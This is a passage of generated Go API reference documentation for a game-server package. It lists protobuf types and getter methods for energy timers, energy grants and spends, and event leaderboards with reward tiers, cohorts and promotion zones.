func (*EconomyUpdateAck) ProtoReflect

func (x *EconomyUpdateAck) ProtoReflect() protoreflect.Message

func (*EconomyUpdateAck) Reset

func (x *EconomyUpdateAck) Reset()

func (*EconomyUpdateAck) String

func (x *EconomyUpdateAck) String() string

type Energy

type Energy struct {

	// The unique energy identifier.
	Id string `protobuf:"bytes,1,opt,name=id,proto3" json:"id,omitempty"`
	// The current amount.
	Current int32 `protobuf:"varint,2,opt,name=current,proto3" json:"current,omitempty"`
	// The maximum amount.
	Max int32 `protobuf:"varint,3,opt,name=max,proto3" json:"max,omitempty"`
	// Amount of energy granted per refill.
	Refill int32 `protobuf:"varint,4,opt,name=refill,proto3" json:"refill,omitempty"`
	// Number of seconds between refills.
	RefillSec int64 `protobuf:"varint,5,opt,name=refill_sec,json=refillSec,proto3" json:"refill_sec,omitempty"`
	// The UNIX timestamp when the count will increase, if it is not at max already.
	NextRefillTimeSec int64 `protobuf:"varint,6,opt,name=next_refill_time_sec,json=nextRefillTimeSec,proto3" json:"next_refill_time_sec,omitempty"`
	// The UNIX timestamp when the count will reach max, if it is not at max already.
	MaxRefillTimeSec int64 `protobuf:"varint,7,opt,name=max_refill_time_sec,json=maxRefillTimeSec,proto3" json:"max_refill_time_sec,omitempty"`
	// The UNIX timestamp when the count started filling, if it is not at max already.
	StartRefillTimeSec int64 `protobuf:"varint,8,opt,name=start_refill_time_sec,json=startRefillTimeSec,proto3" json:"start_refill_time_sec,omitempty"`
	// The modifiers, if any.
	Modifiers []*EnergyModifier `protobuf:"bytes,9,rep,name=modifiers,proto3" json:"modifiers,omitempty"`
	// The available rewards, if any.
	AvailableRewards *AvailableRewards `protobuf:"bytes,10,opt,name=available_rewards,json=availableRewards,proto3" json:"available_rewards,omitempty"`
	// Additional metadata properties.
	AdditionalProperties map[string]string `` /* 210-byte string literal not displayed */
	// The current UNIX timestamp in seconds.
	CurrentTimeSec int64 `protobuf:"varint,12,opt,name=current_time_sec,json=currentTimeSec,proto3" json:"current_time_sec,omitempty"`
	// contains filtered or unexported fields
}

Information about a single energy type.

func (*Energy) Descriptor deprecated

func (*Energy) Descriptor() ([]byte, []int)

Deprecated: Use Energy.ProtoReflect.Descriptor instead.

func (*Energy) GetAdditionalProperties

func (x *Energy) GetAdditionalProperties() map[string]string

func (*Energy) GetAvailableRewards

func (x *Energy) GetAvailableRewards() *AvailableRewards

func (*Energy) GetCurrent

func (x *Energy) GetCurrent() int32

func (*Energy) GetCurrentTimeSec

func (x *Energy) GetCurrentTimeSec() int64

func (*Energy) GetId

func (x *Energy) GetId() string

func (*Energy) GetMax

func (x *Energy) GetMax() int32

func (*Energy) GetMaxRefillTimeSec

func (x *Energy) GetMaxRefillTimeSec() int64

func (*Energy) GetModifiers

func (x *Energy) GetModifiers() []*EnergyModifier

func (*Energy) GetNextRefillTimeSec

func (x *Energy) GetNextRefillTimeSec() int64

func (*Energy) GetRefill

func (x *Energy) GetRefill() int32

func (*Energy) GetRefillSec

func (x *Energy) GetRefillSec() int64

func (*Energy) GetStartRefillTimeSec

func (x *Energy) GetStartRefillTimeSec() int64

func (*Energy) ProtoMessage

func (*Energy) ProtoMessage()

func (*Energy) ProtoReflect

func (x *Energy) ProtoReflect() protoreflect.Message

func (*Energy) Reset

func (x *Energy) Reset()

func (*Energy) String

func (x *Energy) String() string

type EnergyConfig

type EnergyConfig struct {
	Energies map[string]*EnergyConfigEnergy `json:"energies,omitempty"`
}

EnergyConfig is the data definition for the EnergySystem type.

type EnergyConfigEnergy

type EnergyConfigEnergy struct {
	StartCount           int32                `json:"start_count,omitempty"`
	MaxCount             int32                `json:"max_count,omitempty"`
	MaxOverfill          int32                `json:"max_overfill,omitempty"`
	RefillCount          int32                `json:"refill_count,omitempty"`
	RefillTimeSec        int64                `json:"refill_time_sec,omitempty"`
	Implicit             bool                 `json:"implicit,omitempty"`
	Reward               *EconomyConfigReward `json:"reward,omitempty"`
	AdditionalProperties map[string]string    `json:"additional_properties,omitempty"`
}

type EnergyGrantRequest

type EnergyGrantRequest struct {

	// Energy amounts to grant.
	Amounts map[string]int32 `` /* 156-byte string literal not displayed */
	// contains filtered or unexported fields
}

Request to grant one or more energy amounts.

func (*EnergyGrantRequest) Descriptor deprecated

func (*EnergyGrantRequest) Descriptor() ([]byte, []int)

Deprecated: Use EnergyGrantRequest.ProtoReflect.Descriptor instead.

func (*EnergyGrantRequest) GetAmounts

func (x *EnergyGrantRequest) GetAmounts() map[string]int32

func (*EnergyGrantRequest) ProtoMessage

func (*EnergyGrantRequest) ProtoMessage()

func (*EnergyGrantRequest) ProtoReflect

func (x *EnergyGrantRequest) ProtoReflect() protoreflect.Message

func (*EnergyGrantRequest) Reset

func (x *EnergyGrantRequest) Reset()

func (*EnergyGrantRequest) String

func (x *EnergyGrantRequest) String() string

type EnergyList

type EnergyList struct {

	// Energy types keyed on the energy identifier.
	Energies map[string]*Energy `` /* 157-byte string literal not displayed */
	// contains filtered or unexported fields
}

One or more energy values for a user.

func (*EnergyList) Descriptor deprecated

func (*EnergyList) Descriptor() ([]byte, []int)

Deprecated: Use EnergyList.ProtoReflect.Descriptor instead.

func (*EnergyList) GetEnergies

func (x *EnergyList) GetEnergies() map[string]*Energy

func (*EnergyList) ProtoMessage

func (*EnergyList) ProtoMessage()

func (*EnergyList) ProtoReflect

func (x *EnergyList) ProtoReflect() protoreflect.Message

func (*EnergyList) Reset

func (x *EnergyList) Reset()

func (*EnergyList) String

func (x *EnergyList) String() string

type EnergyModifier

type EnergyModifier struct {

	// The modifier operator.
	Operator string `protobuf:"bytes,1,opt,name=operator,proto3" json:"operator,omitempty"`
	// The modifier value, if applicable.
	Value int32 `protobuf:"varint,2,opt,name=value,proto3" json:"value,omitempty"`
	// The UNIX timestamp when the modifier became active.
	StartTimeSec int64 `protobuf:"varint,3,opt,name=start_time_sec,json=startTimeSec,proto3" json:"start_time_sec,omitempty"`
	// The UNIX timestamp when the modifier ends.
	EndTimeSec int64 `protobuf:"varint,4,opt,name=end_time_sec,json=endTimeSec,proto3" json:"end_time_sec,omitempty"`
	// contains filtered or unexported fields
}

A modifier that may change energy behaviour.

func (*EnergyModifier) Descriptor deprecated

func (*EnergyModifier) Descriptor() ([]byte, []int)

Deprecated: Use EnergyModifier.ProtoReflect.Descriptor instead.

func (*EnergyModifier) GetEndTimeSec

func (x *EnergyModifier) GetEndTimeSec() int64

func (*EnergyModifier) GetOperator

func (x *EnergyModifier) GetOperator() string

func (*EnergyModifier) GetStartTimeSec

func (x *EnergyModifier) GetStartTimeSec() int64

func (*EnergyModifier) GetValue

func (x *EnergyModifier) GetValue() int32

func (*EnergyModifier) ProtoMessage

func (*EnergyModifier) ProtoMessage()

func (*EnergyModifier) ProtoReflect

func (x *EnergyModifier) ProtoReflect() protoreflect.Message

func (*EnergyModifier) Reset

func (x *EnergyModifier) Reset()

func (*EnergyModifier) String

func (x *EnergyModifier) String() string

type EnergySpendRequest

type EnergySpendRequest struct {

	// Energy amounts to spend.
	Amounts map[string]int32 `` /* 156-byte string literal not displayed */
	// contains filtered or unexported fields
}

Request to spend one or more energy amounts.

func (*EnergySpendRequest) Descriptor deprecated

func (*EnergySpendRequest) Descriptor() ([]byte, []int)

Deprecated: Use EnergySpendRequest.ProtoReflect.Descriptor instead.

func (*EnergySpendRequest) GetAmounts

func (x *EnergySpendRequest) GetAmounts() map[string]int32

func (*EnergySpendRequest) ProtoMessage

func (*EnergySpendRequest) ProtoMessage()

func (*EnergySpendRequest) ProtoReflect

func (x *EnergySpendRequest) ProtoReflect() protoreflect.Message

func (*EnergySpendRequest) Reset

func (x *EnergySpendRequest) Reset()

func (*EnergySpendRequest) String

func (x *EnergySpendRequest) String() string

type EnergySpendReward

type EnergySpendReward struct {

	// The updated list of energy.
	Energies *EnergyList `protobuf:"bytes,1,opt,name=energies,proto3" json:"energies,omitempty"`
	// The cumulative reward of spending the energies.
	Reward *Reward `protobuf:"bytes,2,opt,name=reward,proto3" json:"reward,omitempty"`
	// contains filtered or unexported fields
}

Request to spend one or more energy amounts.

func (*EnergySpendReward) Descriptor deprecated

func (*EnergySpendReward) Descriptor() ([]byte, []int)

Deprecated: Use EnergySpendReward.ProtoReflect.Descriptor instead.

func (*EnergySpendReward) GetEnergies

func (x *EnergySpendReward) GetEnergies() *EnergyList

func (*EnergySpendReward) GetReward

func (x *EnergySpendReward) GetReward() *Reward

func (*EnergySpendReward) ProtoMessage

func (*EnergySpendReward) ProtoMessage()

func (*EnergySpendReward) ProtoReflect

func (x *EnergySpendReward) ProtoReflect() protoreflect.Message

func (*EnergySpendReward) Reset

func (x *EnergySpendReward) Reset()

func (*EnergySpendReward) String

func (x *EnergySpendReward) String() string

type EnergySystem

type EnergySystem interface {
	System

	// Get returns all energies defined and the values a user currently owns by ID.
	Get(ctx context.Context, logger runtime.Logger, nk runtime.NakamaModule, userID string) (energies map[string]*Energy, err error)

	// Spend will deduct the amounts from each energy for a user by ID.
	Spend(ctx context.Context, logger runtime.Logger, nk runtime.NakamaModule, userID string, amounts map[string]int32) (energies map[string]*Energy, reward *Reward, err error)

	// Grant will add the amounts to each energy (while applying any energy modifiers) for a user by ID.
	Grant(ctx context.Context, logger runtime.Logger, nk runtime.NakamaModule, userID string, amounts map[string]int32, modifiers []*RewardEnergyModifier) (energies map[string]*Energy, err error)

	// SetOnSpendReward sets a custom reward function which will run after an energy reward's value has been rolled.
	SetOnSpendReward(fn OnReward[*EnergyConfigEnergy])
}

The EnergySystem provides a gameplay system for Energy timers.

An energy is a gameplay mechanic used to reward or limit progress which a player can make through the gameplay content.

type EventLeaderboard

type EventLeaderboard struct {

	// Event leaderboard ID.
	Id string `protobuf:"bytes,1,opt,name=id,proto3" json:"id,omitempty"`
	// The name of the event leaderboard. May be an i18n code.
	Name string `protobuf:"bytes,2,opt,name=name,proto3" json:"name,omitempty"`
	// A description of the event leaderboard. May be an i18n code.
	Description string `protobuf:"bytes,3,opt,name=description,proto3" json:"description,omitempty"`
	// The category to group the event leaderboard together with others.
	Category string `protobuf:"bytes,4,opt,name=category,proto3" json:"category,omitempty"`
	// Score ordering.
	Ascending bool `protobuf:"varint,5,opt,name=ascending,proto3" json:"ascending,omitempty"`
	// Score submission operator.
	Operator string `protobuf:"bytes,6,opt,name=operator,proto3" json:"operator,omitempty"`
	// The tier of this instance of the event leaderboard.
	Tier int32 `protobuf:"varint,7,opt,name=tier,proto3" json:"tier,omitempty"`
	// Time when the event starts.
	StartTimeSec int64 `protobuf:"varint,8,opt,name=start_time_sec,json=startTimeSec,proto3" json:"start_time_sec,omitempty"`
	// Time when the event ends.
	EndTimeSec int64 `protobuf:"varint,9,opt,name=end_time_sec,json=endTimeSec,proto3" json:"end_time_sec,omitempty"`
	// Time when the event expires.
	ExpiryTimeSec int64 `protobuf:"varint,10,opt,name=expiry_time_sec,json=expiryTimeSec,proto3" json:"expiry_time_sec,omitempty"`
	// The available reward and its probabilities.
	AvailableRewards *AvailableRewards `protobuf:"bytes,11,opt,name=available_rewards,json=availableRewards,proto3" json:"available_rewards,omitempty"`
	// The possible reward tiers for this instance of the event leaderboard, based on its current tier.
	RewardTiers map[int32]*EventLeaderboardRewardTiers `` /* 184-byte string literal not displayed */
	// Per-tier promotion/demotion change zones, if configured.
	ChangeZones map[int32]*EventLeaderboardChangeZone `` /* 184-byte string literal not displayed */
	// Claim time, if any.
	ClaimTimeSec int64 `protobuf:"varint,14,opt,name=claim_time_sec,json=claimTimeSec,proto3" json:"claim_time_sec,omitempty"`
	// The outcome (rolled) reward for the event leaderboard.
	Reward *Reward `protobuf:"bytes,15,opt,name=reward,proto3" json:"reward,omitempty"`
	// Additional metadata properties.
	AdditionalProperties map[string]string `` /* 210-byte string literal not displayed */
	// Current participant count.
	Count int64 `protobuf:"varint,17,opt,name=count,proto3" json:"count,omitempty"`
	// Maximum participant count.
	MaxCount int64 `protobuf:"varint,18,opt,name=max_count,json=maxCount,proto3" json:"max_count,omitempty"`
	// Maximum number of score submissions per participant.
	MaxNumScore int64 `protobuf:"varint,19,opt,name=max_num_score,json=maxNumScore,proto3" json:"max_num_score,omitempty"`
	// Participants and their scores.
	Scores []*EventLeaderboardScore `protobuf:"bytes,20,rep,name=scores,proto3" json:"scores,omitempty"`
	// Indicates if the event is still active, and scores can be submitted.
	IsActive bool `protobuf:"varint,21,opt,name=is_active,json=isActive,proto3" json:"is_active,omitempty"`
	// Indicates if the event is over and its reward can be claimed.
	CanClaim bool `protobuf:"varint,22,opt,name=can_claim,json=canClaim,proto3" json:"can_claim,omitempty"`
	// Indicates if the event can be rolled to get a new set of opponents.
	CanRoll bool `protobuf:"varint,23,opt,name=can_roll,json=canRoll,proto3" json:"can_roll,omitempty"`
	// Extra matchmaker properties for this cohort.
	MatchmakerProperties *structpb.Struct `protobuf:"bytes,24,opt,name=matchmaker_properties,json=matchmakerProperties,proto3" json:"matchmaker_properties,omitempty"`
	// The UNIX timestamp for the current server time.
	CurrentTimeSec int64 `protobuf:"varint,25,opt,name=current_time_sec,json=currentTimeSec,proto3" json:"current_time_sec,omitempty"`
	// Cohort ID the user belongs to for this active phase.
	CohortId string `protobuf:"bytes,26,opt,name=cohort_id,json=cohortId,proto3" json:"cohort_id,omitempty"`
	// Backing ID for underlying score tracking.
	BackingId string `protobuf:"bytes,27,opt,name=backing_id,json=backingId,proto3" json:"backing_id,omitempty"`
	// contains filtered or unexported fields
}

Details about a specific event leaderboard.

func (*EventLeaderboard) Descriptor deprecated

func (*EventLeaderboard) Descriptor() ([]byte, []int)

Deprecated: Use EventLeaderboard.ProtoReflect.Descriptor instead.

func (*EventLeaderboard) GetAdditionalProperties

func (x *EventLeaderboard) GetAdditionalProperties() map[string]string

func (*EventLeaderboard) GetAscending

func (x *EventLeaderboard) GetAscending() bool

func (*EventLeaderboard) GetAvailableRewards

func (x *EventLeaderboard) GetAvailableRewards() *AvailableRewards

func (*EventLeaderboard) GetBackingId

func (x *EventLeaderboard) GetBackingId() string

func (*EventLeaderboard) GetCanClaim

func (x *EventLeaderboard) GetCanClaim() bool

func (*EventLeaderboard) GetCanRoll

func (x *EventLeaderboard) GetCanRoll() bool

func (*EventLeaderboard) GetCategory

func (x *EventLeaderboard) GetCategory() string

func (*EventLeaderboard) GetChangeZones

func (x *EventLeaderboard) GetChangeZones() map[int32]*EventLeaderboardChangeZone

func (*EventLeaderboard) GetClaimTimeSec

func (x *EventLeaderboard) GetClaimTimeSec() int64

func (*EventLeaderboard) GetCohortId

func (x *EventLeaderboard) GetCohortId() string

func (*EventLeaderboard) GetCount

func (x *EventLeaderboard) GetCount() int64

func (*EventLeaderboard) GetCurrentTimeSec

func (x *EventLeaderboard) GetCurrentTimeSec() int64

func (*EventLeaderboard) GetDescription

func (x *EventLeaderboard) GetDescription() string

func (*EventLeaderboard) GetEndTimeSec

func (x *EventLeaderboard) GetEndTimeSec() int64

func (*EventLeaderboard) GetExpiryTimeSec

func (x *EventLeaderboard) GetExpiryTimeSec() int64

func (*EventLeaderboard) GetId

func (x *EventLeaderboard) GetId() string

func (*EventLeaderboard) GetIsActive

func (x *EventLeaderboard) GetIsActive() bool

func (*EventLeaderboard) GetMatchmakerProperties

func (x *EventLeaderboard) GetMatchmakerProperties() *structpb.Struct

func (*EventLeaderboard) GetMaxCount

func (x *EventLeaderboard) GetMaxCount() int64

func (*EventLeaderboard) GetMaxNumScore

func (x *EventLeaderboard) GetMaxNumScore() int64

func (*EventLeaderboard) GetName

func (x *EventLeaderboard) GetName() string

func (*EventLeaderboard) GetOperator

func (x *EventLeaderboard) GetOperator() string

func (*EventLeaderboard) GetReward

func (x *EventLeaderboard) GetReward() *Reward

func (*EventLeaderboard) GetRewardTiers

func (x *EventLeaderboard) GetRewardTiers() map[int32]*EventLeaderboardRewardTiers

func (*EventLeaderboard) GetScores

func (x *EventLeaderboard) GetScores() []*EventLeaderboardScore

func (*EventLeaderboard) GetStartTimeSec

func (x *EventLeaderboard) GetStartTimeSec() int64

func (*EventLeaderboard) GetTier

func (x *EventLeaderboard) GetTier() int32

func (*EventLeaderboard) ProtoMessage

func (*EventLeaderboard) ProtoMessage()

func (*EventLeaderboard) ProtoReflect

func (x *EventLeaderboard) ProtoReflect() protoreflect.Message

func (*EventLeaderboard) Reset

func (x *EventLeaderboard) Reset()

func (*EventLeaderboard) String

func (x *EventLeaderboard) String() string

type EventLeaderboardChangeZone

type EventLeaderboardChangeZone struct {

	// Percentage of cohort to promote, expressed in the range of 0.0 to 1.0.
	Promotion float64 `protobuf:"fixed64,1,opt,name=promotion,proto3" json:"promotion,omitempty"`
	// Percentage of cohort to demote, expressed in the range of 0.0 to 1.0.
	Demotion float64 `protobuf:"fixed64,2,opt,name=demotion,proto3" json:"demotion,omitempty"`
	// Whether or not to always demote players that failed to submit a score at all.
	DemoteIdle bool `protobuf:"varint,3,opt,name=demote_idle,json=demoteIdle,proto3" json:"demote_idle,omitempty"`
	// contains filtered or unexported fields
}

An event leaderboard's tier-specific promotion/demotion zones.

func (*EventLeaderboardChangeZone) Descriptor deprecated

func (*EventLeaderboardChangeZone) Descriptor() ([]byte, []int)

Deprecated: Use EventLeaderboardChangeZone.ProtoReflect.Descriptor instead.

func (*EventLeaderboardChangeZone) GetDemoteIdle

func (x *EventLeaderboardChangeZone) GetDemoteIdle() bool

func (*EventLeaderboardChangeZone) GetDemotion

func (x *EventLeaderboardChangeZone) GetDemotion() float64

func (*EventLeaderboardChangeZone) GetPromotion

func (x *EventLeaderboardChangeZone) GetPromotion() float64

func (*EventLeaderboardChangeZone) ProtoMessage

func (*EventLeaderboardChangeZone) ProtoMessage()

func (*EventLeaderboardChangeZone) ProtoReflect

func (*EventLeaderboardChangeZone) Reset

func (x *EventLeaderboardChangeZone) Reset()

func (*EventLeaderboardChangeZone) String

func (x *EventLeaderboardChangeZone) String() string

type EventLeaderboardClaim

type EventLeaderboardClaim struct {

	// Event leaderboard ID to claim.
	Id string `protobuf:"bytes,1,opt,name=id,proto3" json:"id,omitempty"`
	// contains filtered or unexported fields
}

Claim the available reward for an event leaderboard by ID.

func (*EventLeaderboardClaim) Descriptor deprecated

func (*EventLeaderboardClaim) Descriptor() ([]byte, []int)

Deprecated: Use EventLeaderboardClaim.ProtoReflect.Descriptor instead.

func (*EventLeaderboardClaim) GetId

func (x *EventLeaderboardClaim) GetId() string

func (*EventLeaderboardClaim) ProtoMessage

func (*EventLeaderboardClaim) ProtoMessage()

func (*EventLeaderboardClaim) ProtoReflect

func (x *EventLeaderboardClaim) ProtoReflect() protoreflect.Message

func (*EventLeaderboardClaim) Reset

func (x *EventLeaderboardClaim) Reset()

func (*EventLeaderboardClaim) String

func (x *EventLeaderboardClaim) String() string

type EventLeaderboardCohortConfig

type EventLeaderboardCohortConfig struct {
	// Force a new cohort even if cohort selection did not find an appropriate one.
	ForceNewCohort bool `json:"force_new_cohort,omitempty"`
	// Optionally use a specified tier instead of the expected one for the user.
	Tier *int `json:"tier,omitempty"`
}

type EventLeaderboardDebugFillRequest

type EventLeaderboardDebugFillRequest struct {

	// Event leaderboard ID to fill.
	Id string `protobuf:"bytes,1,opt,name=id,proto3" json:"id,omitempty"`
	// Optional target cohort size to fill to, otherwise fill to max cohort size.
	TargetCount int32 `protobuf:"varint,2,opt,name=target_count,json=targetCount,proto3" json:"target_count,omitempty"`
	// contains filtered or unexported fields
}

func (*EventLeaderboardDebugFillRequest) Descriptor deprecated

func (*EventLeaderboardDebugFillRequest) Descriptor() ([]byte, []int)

Deprecated: Use EventLeaderboardDebugFillRequest.ProtoReflect.Descriptor instead.

func (*EventLeaderboardDebugFillRequest) GetId

func (*EventLeaderboardDebugFillRequest) GetTargetCount

func (x *EventLeaderboardDebugFillRequest) GetTargetCount() int32

func (*EventLeaderboardDebugFillRequest) ProtoMessage

func (*EventLeaderboardDebugFillRequest) ProtoMessage()

func (*EventLeaderboardDebugFillRequest) ProtoReflect

func (*EventLeaderboardDebugFillRequest) Reset

func (*EventLeaderboardDebugFillRequest) String

type EventLeaderboardDebugRandomScoresRequest

type EventLeaderboardDebugRandomScoresRequest struct {

	// Event leaderboard ID to update.
	Id string `protobuf:"bytes,1,opt,name=id,proto3" json:"id,omitempty"`
	// Minimum score, inclusive.
	Min int64 `protobuf:"varint,2,opt,name=min,proto3" json:"min,omitempty"`
	// Maximum score, inclusive.
	Max int64 `protobuf:"varint,3,opt,name=max,proto3" json:"max,omitempty"`
	// Optional operator to use when updating scores.
	Operator *wrapperspb.Int32Value `protobuf:"bytes,4,opt,name=operator,proto3" json:"operator,omitempty"`
	// Minimum subscore, inclusive.
	SubscoreMin int64 `protobuf:"varint,5,opt,name=subscore_min,json=subscoreMin,proto3" json:"subscore_min,omitempty"`
	// Maximum subscore, inclusive.
	SubscoreMax int64 `protobuf:"varint,6,opt,name=subscore_max,json=subscoreMax,proto3" json:"subscore_max,omitempty"`
	// contains filtered or unexported fields
}

DEBUG. Payload describing scores to set for a cohort's participants.

func (*EventLeaderboardDebugRandomScoresRequest) Descriptor deprecated

func (*EventLeaderboardDebugRandomScoresRequest) Descriptor() ([]byte, []int)

Deprecated: Use EventLeaderboardDebugRandomScoresRequest.ProtoReflect.Descriptor instead.

func (*EventLeaderboardDebugRandomScoresRequest) GetId

func (*EventLeaderboardDebugRandomScoresRequest) GetMax

func (*EventLeaderboardDebugRandomScoresRequest) GetMin

func (*EventLeaderboardDebugRandomScoresRequest) GetOperator

func (*EventLeaderboardDebugRandomScoresRequest) GetSubscoreMax

func (x *EventLeaderboardDebugRandomScoresRequest) GetSubscoreMax() int64

func (*EventLeaderboardDebugRandomScoresRequest) GetSubscoreMin

func (x *EventLeaderboardDebugRandomScoresRequest) GetSubscoreMin() int64

func (*EventLeaderboardDebugRandomScoresRequest) ProtoMessage

func (*EventLeaderboardDebugRandomScoresRequest) ProtoReflect

func (*EventLeaderboardDebugRandomScoresRequest) Reset

func (*EventLeaderboardDebugRandomScoresRequest) String

type EventLeaderboardGet

type EventLeaderboardGet struct {

	// Event leaderboard ID to get, and join if necessary/possible.
	Id string `protobuf:"bytes,1,opt,name=id,proto3" json:"id,omitempty"`
	// contains filtered or unexported fields
}

Find and retrieve an event leaderboard by ID, automatically joining the event if necessary.

func (*EventLeaderboardGet) Descriptor deprecated

func (*EventLeaderboardGet) Descriptor() ([]byte, []int)

Deprecated: Use EventLeaderboardGet.ProtoReflect.Descriptor instead.

func (*EventLeaderboardGet) GetId

func (x *EventLeaderboardGet) GetId() string

func (*EventLeaderboardGet) ProtoMessage

func (*EventLeaderboardGet) ProtoMessage()

func (*EventLeaderboardGet) ProtoReflect

func (x *EventLeaderboardGet) ProtoReflect() protoreflect.Message

func (*EventLeaderboardGet) Reset

func (x *EventLeaderboardGet) Reset()

func (*EventLeaderboardGet) String

func (x *EventLeaderboardGet) String() string

type EventLeaderboardList

type EventLeaderboardList struct {

	// Whether or not the response should include scores, defaults to false.
	WithScores bool `protobuf:"varint,1,opt,name=with_scores,json=withScores,proto3" json:"with_scores,omitempty"`
	// Optional filter of Event Leaderboard categories to list. If empty does not filter on category.
	Categories []string `protobuf:"bytes,2,rep,name=categories,proto3" json:"categories,omitempty"`
	// contains filtered or unexported fields
}

Retrieve available event leaderboards.

func (*EventLeaderboardList) Descriptor deprecated

func (*EventLeaderboardList) Descriptor() ([]byte, []int)

Deprecated: Use EventLeaderboardList.ProtoReflect.Descriptor instead.

func (*EventLeaderboardList) GetCategories

func (x *EventLeaderboardList) GetCategories() []string

func (*EventLeaderboardList) GetWithScores

func (x *EventLeaderboardList) GetWithScores() bool

func (*EventLeaderboardList) ProtoMessage

func (*EventLeaderboardList) ProtoMessage()

func (*EventLeaderboardList) ProtoReflect

func (x *EventLeaderboardList) ProtoReflect() protoreflect.Message

func (*EventLeaderboardList) Reset

func (x *EventLeaderboardList) Reset()

func (*EventLeaderboardList) String

func (x *EventLeaderboardList) String() string

type EventLeaderboardRewardTier

type EventLeaderboardRewardTier struct {

	// Name for this tier.
	Name string `protobuf:"bytes,1,opt,name=name,proto3" json:"name,omitempty"`
	// The maximum rank (inclusive).
	RankMax int32 `protobuf:"varint,2,opt,name=rank_max,json=rankMax,proto3" json:"rank_max,omitempty"`
	// The minimum rank (inclusive).
	RankMin int32 `protobuf:"varint,3,opt,name=rank_min,json=rankMin,proto3" json:"rank_min,omitempty"`
	// The available rewards for this range.
	AvailableRewards *AvailableRewards `protobuf:"bytes,4,opt,name=available_rewards,json=availableRewards,proto3" json:"available_rewards,omitempty"`
	// Change in tier for this rank range.
	TierChange int32 `protobuf:"varint,5,opt,name=tier_change,json=tierChange,proto3" json:"tier_change,omitempty"`
	// contains filtered or unexported fields
}

A reward range within a specific tier based on ranks.

func (*EventLeaderboardRewardTier) Descriptor deprecated

func (*EventLeaderboardRewardTier) Descriptor() ([]byte, []int)

Deprecated: Use EventLeaderboardRewardTier.ProtoReflect.Descriptor instead.

func (*EventLeaderboardRewardTier) GetAvailableRewards

func (x *EventLeaderboardRewardTier) GetAvailableRewards() *AvailableRewards

func (*EventLeaderboardRewardTier) GetName

func (x *EventLeaderboardRewardTier) GetName() string

func (*EventLeaderboardRewardTier) GetRankMax

func (x *EventLeaderboardRewardTier) GetRankMax() int32

func (*EventLeaderboardRewardTier) GetRankMin

func (x *EventLeaderboardRewardTier) GetRankMin() int32

func (*EventLeaderboardRewardTier) GetTierChange

func (x *EventLeaderboardRewardTier) GetTierChange() int32

func (*EventLeaderboardRewardTier) ProtoMessage

func (*EventLeaderboardRewardTier) ProtoMessage()

func (*EventLeaderboardRewardTier) ProtoReflect

func (*EventLeaderboardRewardTier) Reset

func (x *EventLeaderboardRewardTier) Reset()

func (*EventLeaderboardRewardTier) String

func (x *EventLeaderboardRewardTier) String() string

type EventLeaderboardRewardTiers

type EventLeaderboardRewardTiers struct {

	// Possible reward tiers.
	RewardTiers []*EventLeaderboardRewardTier `protobuf:"bytes,1,rep,name=reward_tiers,json=rewardTiers,proto3" json:"reward_tiers,omitempty"`
	// contains filtered or unexported fields
}

An event leaderboard's tier-specific set of rewards.

func (*EventLeaderboardRewardTiers) Descriptor deprecated

func (*EventLeaderboardRewardTiers) Descriptor() ([]byte, []int)

Deprecated: Use EventLeaderboardRewardTiers.ProtoReflect.Descriptor instead.

func (*EventLeaderboardRewardTiers) GetRewardTiers

func (*EventLeaderboardRewardTiers) ProtoMessage

func (*EventLeaderboardRewardTiers) ProtoMessage()

func (*EventLeaderboardRewardTiers) ProtoReflect

func (*EventLeaderboardRewardTiers) Reset

func (x *EventLeaderboardRewardTiers) Reset()

func (*EventLeaderboardRewardTiers) String

func (x *EventLeaderboardRewardTiers) String() string

type EventLeaderboardRoll

type EventLeaderboardRoll struct {

	// Event leaderboard ID to roll.
	Id string `protobuf:"bytes,1,opt,name=id,proto3" json:"id,omitempty"`
	// contains filtered or unexported fields
}

Roll a new cohort for the specified event leaderboard.

func (*EventLeaderboardRoll) Descriptor deprecated

func (*EventLeaderboardRoll) Descriptor() ([]byte, []int)

Deprecated: Use EventLeaderboardRoll.ProtoReflect.Descriptor instead.

func (*EventLeaderboardRoll) GetId

func (x *EventLeaderboardRoll) GetId() string

func (*EventLeaderboardRoll) ProtoMessage

func (*EventLeaderboardRoll) ProtoMessage()

func (*EventLeaderboardRoll) ProtoReflect

func (x *EventLeaderboardRoll) ProtoReflect() protoreflect.Message

func (*EventLeaderboardRoll) Reset

func (x *EventLeaderboardRoll) Reset()

func (*EventLeaderboardRoll) String

func (x *EventLeaderboardRoll) String() string

type EventLeaderboardScore

type EventLeaderboardScore struct {

	// User ID.
	Id string `protobuf:"bytes,1,opt,name=id,proto3" json:"id,omitempty"`
	// Username.
	Username string `protobuf:"bytes,2,opt,name=username,proto3" json:"username,omitempty"`
	// Display name.
	DisplayName string `protobuf:"bytes,3,opt,name=display_name,json=displayName,proto3" json:"display_name,omitempty"`
	// Avatar URL.
	AvatarUrl string `protobuf:"bytes,4,opt,name=avatar_url,json=avatarUrl,proto3" json:"avatar_url,omitempty"`
	// Time when the user joined the event leaderboard.
	CreateTimeSec int64 `protobuf:"varint,5,opt,name=create_time_sec,json=createTimeSec,proto3" json:"create_time_sec,omitempty"`
	// Time when the user last submitted a score.
	UpdateTimeSec int64 `protobuf:"varint,6,opt,name=update_time_sec,json=updateTimeSec,proto3" json:"update_time_sec,omitempty"`
	// Rank within the event leaderboard.
	Rank int64 `protobuf:"varint,7,opt,name=rank,proto3" json:"rank,omitempty"`
	// Score.
	Score int64 `protobuf:"varint,8,opt,name=score,proto3" json:"score,omitempty"`
	// Subscore.
	Subscore int64 `protobuf:"varint,9,opt,name=subscore,proto3" json:"subscore,omitempty"`
	// Number of score submissions.
	NumScores int64 `protobuf:"varint,10,opt,name=num_scores,json=numScores,proto3" json:"num_scores,omitempty"`
	// Metadata.
	Metadata string `protobuf:"bytes,11,opt,name=metadata,proto3" json:"metadata,omitempty"`
	// contains filtered or unexported fields
}

A single participant entry to an event leaderboard.

func (*EventLeaderboardScore) Descriptor deprecated

func (*EventLeaderboardScore) Descriptor() ([]byte, []int)

Deprecated: Use EventLeaderboardScore.ProtoReflect.Descriptor instead.

func (*EventLeaderboardScore) GetAvatarUrl

func (x *EventLeaderboardScore) GetAvatarUrl() string

func (*EventLeaderboardScore) GetCreateTimeSec

func (x *EventLeaderboardScore) GetCreateTimeSec() int64

func (*EventLeaderboardScore) GetDisplayName

func (x *EventLeaderboardScore) GetDisplayName() string

func (*EventLeaderboardScore) GetId

func (x *EventLeaderboardScore) GetId() string

func (*EventLeaderboardScore) GetMetadata

func (x *EventLeaderboardScore) GetMetadata() string

func (*EventLeaderboardScore) GetNumScores

func (x *EventLeaderboardScore) GetNumScores() int64

